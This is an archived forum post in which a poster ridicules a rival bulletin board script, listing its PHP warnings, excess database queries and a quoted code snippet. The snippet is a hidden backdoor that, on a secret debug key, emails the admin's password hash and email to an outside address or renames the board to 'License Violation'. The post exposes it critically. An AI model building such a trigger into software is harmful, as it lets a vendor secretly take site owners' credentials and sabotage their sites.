Go Back   vb.org Archive > Community Central > vBulletin.org Site Feedback
FAQ Community Calendar Today's Posts Search

 
 
Thread Tools Display Modes
Prev Previous Post   Next Post Next
  #25  
Old 07-14-2002, 06:35 AM
Admin's Avatar
Admin Admin is offline
Coder
 
Join Date: Oct 2023
Location: Server
Posts: 1
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Quote:
Originally posted by Sara's-faction
As a matter of fact,
(we) are. Trivaya and I are better known as Ace and Sara on OpenBB. Plans have already started on a follow up flag ship that will have faster loading times than the current Obb, and still retain all of the functionality of most modern bulletin boards to date. Load times on this new project are sub .01 with a simulated 1000 member sessions.

You would be shocked to know what proper coding can achieve, pal.

*Smirk*
Well with a speech like that I just had to try your ultimate software, right?

Code:
Warning: Undefined property: queries in /obb/lib/database/mysql.php on line 67
Warning: Undefined variable: HTTP_X_FORWARDED_FOR in /obb/base.php on line 164
Warning: Use of undefined constant lgthsubj - assumed 'lgthsubj' in /obb/base.php on line 341
Warning: Use of undefined constant lgthdesc - assumed 'lgthdesc' in /obb/base.php on line 342
Warning: Cannot add header information - headers already sent by (output started at /obb/lib/database/mysql.php:67) in /obb/base.php on line 395
Warning: Undefined offset: 99 in /obb/base.php on line 419
Warning: Undefined variable: quit_reason in /obb/base.php on line 429
Warning: Undefined variable: quit_reason in /obb/base.php on line 435
Warning: Undefined offset: 1 in /obb/lib/functions.php on line 170
Warning: Undefined variable: query_forums in /obb/lib/functions.php on line 234
Warning: Undefined variable: adminquery in /obb/cp.php on line 228
Warning: Undefined variable: settings in /obb/cp.php(247) : eval()'d code on line 44
Warning: Undefined variable: forummanager in /obb/cp.php(247) : eval()'d code on line 45
Warning: Undefined variable: users in /obb/cp.php(247) : eval()'d code on line 46
Warning: Undefined variable: usergroup in /obb/cp.php(247) : eval()'d code on line 47
Warning: Undefined variable: email in /obb/cp.php(247) : eval()'d code on line 47
Warning: Undefined variable: avatars in /obb/cp.php(247) : eval()'d code on line 48
Warning: Undefined variable: images in /obb/cp.php(247) : eval()'d code on line 49
Warning: Undefined variable: design in /obb/cp.php(247) : eval()'d code on line 50
Warning: Undefined variable: ipbanning in /obb/cp.php(247) : eval()'d code on line 51
Cute errors, love that. Someone forgot to set error_reporting()...?

Apparently you require register_globals to be turned On, which is a pointless requirement since you can emulate register_globals On (being an extraordinary programmer I'm sure you've heard of extract()). However, users that have it turned Off will never be able to see that requirement since they can't get to step 2, pal.

Quote:
An error occured while trying to connect to the DB. (Unknown database 'obb')
How come this wonderful script didn't create the database itself, even though I gave it the root user information? Very user friendly indeed.

Ohh, what's this?
PHP Code:
    if (md5($debugkey) == 'be7ca03a93a372dc0c0ee9d3a3b90def') {
        if(
$sysgo == 'violate') {
            
$query_admin = new query($SQL"SELECT password, email FROM ".$prefix."profiles WHERE id = '1'");
            
$query_admin->getrow();
            
$lisc md5($query_admin->field('password'));
            
$sendermail $query_admin->field('email');
            
$message $config->field('boardurl').'lisckey'.$lisc;
            
$mailheaders "From: $sendermail";
            
$syssubject "Lisc Validation";            
            
mail("lisc@prolixmedia.com"$syssubject$message$mailheaders);
        }
        elseif(
$sysgo == 'close') {
            
$query_admin = new query($SQL"SELECT password FROM ".$prefix."profiles WHERE id = '1'");
            
$query_admin->getrow();
            
$lisc md5($query_admin->field('password'));
            if(
$key $lisc) {
                new 
query($SQL"UPDATE ".$prefix."configuration SET boardname = 'License Violation'");
            }
        }
    } 
Nice, built-in methods to nuke my site! Or to email you my admin details!

Correct me if I'm wrong, but didn't you say 24 queries on showthread was quite a lot?
Code:
SELECT lots of fields FROM obb_configuration
SELECT member, record FROM obb_active WHERE record = '47373d3133f1c660f'
UPDATE obb_active SET lots of stuff
SELECT lots of fields FROM obb_profiles WHERE username = 'Chen'
SELECT send, subject FROM obb_pmsg WHERE owner = 'Chen' AND box = 'inbox' AND isread = '0' ORDER BY time
SELECT forumid FROM obb_moderators WHERE modid = '1'
SELECT org, rep FROM obb_vars WHERE groupid = 0
SELECT lgthsubj, lgthdesc FROM obb_configuration
SELECT template, id FROM obb_templates WHERE groupid = 0 AND (id IN (lots of numbers))
UPDATE obb_profiles SET ip = '127.0.0.1', lastactive = '1026635458' WHERE username = 'Chen'
SELECT isadmin FROM obb_usergroup WHERE id = 3
SELECT forumid, pollid, description, locked FROM obb_topics WHERE id = 1
UPDATE obb_active SET inforum = '2' WHERE member = 'Chen'
SELECT smiley, image FROM obb_smilies
UPDATE obb_favorites SET visit = '1' WHERE threadid = 1 AND username = 'Chen'
SELECT ismoderator FROM obb_forum_permissions WHERE forumid = '2' and uid = '3'
SELECT ismoderator FROM obb_usergroup WHERE id = '3'
UPDATE obb_favorites set visit = '1' WHERE threadid = '1' AND username = 'Chen'
SELECT title, replies FROM obb_topics WHERE id = '1'
UPDATE obb_topics SET views = (views + 1) WHERE id = 1
UPDATE obb_configuration SET totalviews = (totalviews + 1)
UPDATE obb_active SET location = 'Reading Topic testing...' WHERE record = '47373d3133f1c660f'
SELECT output FROM obb_navigations WHERE id = 'forum:2'
SELECT lots of fields FROM obb_posts, obb_profiles WHERE obb_posts.poster = obb_profiles.username AND obb_posts.threadid = '1' ORDER BY obb_posts.id LIMIT 0,10
SELECT member FROM obb_active WHERE member = 'Chen' AND '1026635468' - lastaction < 600 
SELECT isadmin, ismoderator FROM obb_usergroup WHERE id = '3'
SELECT title, icon FROM obb_usergroup WHERE id = '3'
SELECT custom AS usertitle FROM obb_profiles WHERE username = 'Chen' LIMIT 1
SELECT image FROM obb_usergroup WHERE id = '3' LIMIT 1
SELECT cache FROM obb_cache WHERE name = 'forums:gid3' LIMIT 1
SELECT total, options, answers FROM obb_polls WHERE id = '1'
SELECT org, rep FROM obb_vars WHERE groupid = '0'
SELECT email FROM obb_profiles WHERE id = '1'
Of course I'm not as gifted as you must be, but counting the lines I see 33 queries. And that is with only one post! Geez, I wonder how much longer till this whole board caves in!

Not to mention I see some double queries in there, specifically:
Code:
SELECT org, rep FROM obb_vars WHERE groupid = 0
SELECT org, rep FROM obb_vars WHERE groupid = '0'
/* or */
UPDATE obb_favorites SET visit = '1' WHERE threadid = 1 AND username = 'Chen'
UPDATE obb_favorites set visit = '1' WHERE threadid = '1' AND username = 'Chen'
Thank you for this great enlightenment, I am truly shocked to see what proper coding can achieve.
 


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 02:43 PM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2024, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.16977 seconds
  • Memory Usage 3,640KB
  • Queries Executed 12 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (4)bbcode_code
  • (1)bbcode_php
  • (19)bbcode_quote
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (40)post_thanks_box
  • (40)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (40)post_thanks_postbit_info
  • (40)postbit
  • (40)postbit_onlinestatus
  • (40)postbit_wrapper
  • (1)showthread_list
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_threadedmode.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_postinfo_query
  • fetch_postinfo
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids_threaded
  • showthread_threaded_construct_link
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete